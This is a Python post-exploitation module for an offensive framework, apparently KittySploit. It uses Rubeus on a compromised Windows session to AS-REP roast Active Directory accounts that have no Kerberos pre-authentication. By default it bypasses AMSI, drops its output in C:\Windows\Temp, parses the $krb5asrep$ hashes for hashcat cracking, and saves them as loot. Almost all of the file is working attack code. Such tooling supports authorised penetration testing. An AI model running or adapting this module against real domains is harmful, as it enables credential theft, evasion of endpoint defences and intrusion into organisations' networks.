Windows AS-REP Roast (optional Rubeus)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""AS-REP roast via Rubeus loadmodule — accounts without Kerberos pre-auth."""
from kittysploit import *
from lib.post.windows.hash_loot import save_hash_loot
from lib.post.windows.loadmodule_helper import run_catalog_assembly
from lib.post.windows.rubeus_hashes import extract_kerberos_hashes
from lib.post.windows.session import WindowsSessionMixin
class Module(Post, WindowsSessionMixin):
__info__ = {
"name": "Windows AS-REP Roast (optional Rubeus)",
"description": (
"OPTIONAL fallback: requires Rubeus.exe for live $krb5asrep$ hashes. "
"Prefer native post/ldap/gather/asrep_roast."
),
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL, SessionType.POLLING],
"references": [
"https://attack.mitre.org/techniques/T1558/004/",
"https://github.com/GhostPack/Rubeus",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 3,
"reversible": False,
"approval_required": True,
"produces": ["credentials"],
"cost": 1.7,
"noise": 0.65,
"value": 0.8,
"requires": {"capabilities_any": ["shell"], "capabilities_all": []},
"chain": {
"consumes_capabilities": ["shell", "asrep_targets"],
"produces_capabilities": ["kerberos_hashes"],
},
},
}
arguments = OptString(
"asreproast /outfile:C:\\Windows\\Temp\\ks_asrep.txt",
"Rubeus arguments",
False,
)
bypass_amsi = OptBool(True, "AMSI bypass before loadmodule", False)
save_loot = OptBool(True, "Write hashcat lines to output/loot/", False)
assembly = OptString("Rubeus", "Catalog name or path for Rubeus.exe", False)
def run(self):
if not self.win_require_windows():
return False
if not self.win_require_powershell():
return False
args = str(self.arguments or "").strip()
print_status(f"loadmodule {self.assembly} — {args}")
try:
out = run_catalog_assembly(
self,
str(self.assembly or "Rubeus"),
arguments=args,
bypass_amsi=bool(self.bypass_amsi),
)
except FileNotFoundError as exc:
raise ProcedureError(
FailureType.NotFound,
f"{exc}. Drop Rubeus.exe into data/assemblies/ "
"(see data/assemblies/README.md).",
) from exc
except Exception as exc:
raise ProcedureError(FailureType.Unknown, f"Rubeus execution failed: {exc}") from exc
if out:
print_info(out)
hashes = extract_kerberos_hashes(out or "")
asrep = [h for h in hashes if h["kind"] == "krb5asrep"]
if not asrep:
print_warning("No $krb5asrep$ lines parsed. Domain may have no vulnerable users.")
return True
print_success(f"Extracted {len(asrep)} AS-REP hash(es) (hashcat -m 18200)")
for item in asrep:
user = item.get("username") or "?"
print_info(f" [{user}] {item['hash'][:80]}...")
if self.save_loot:
path = save_hash_loot(
asrep,
kind="asreproast",
session_id=str(getattr(self, "session_id", "") or ""),
)
if path:
print_success(f"Loot saved: {path}")
return True
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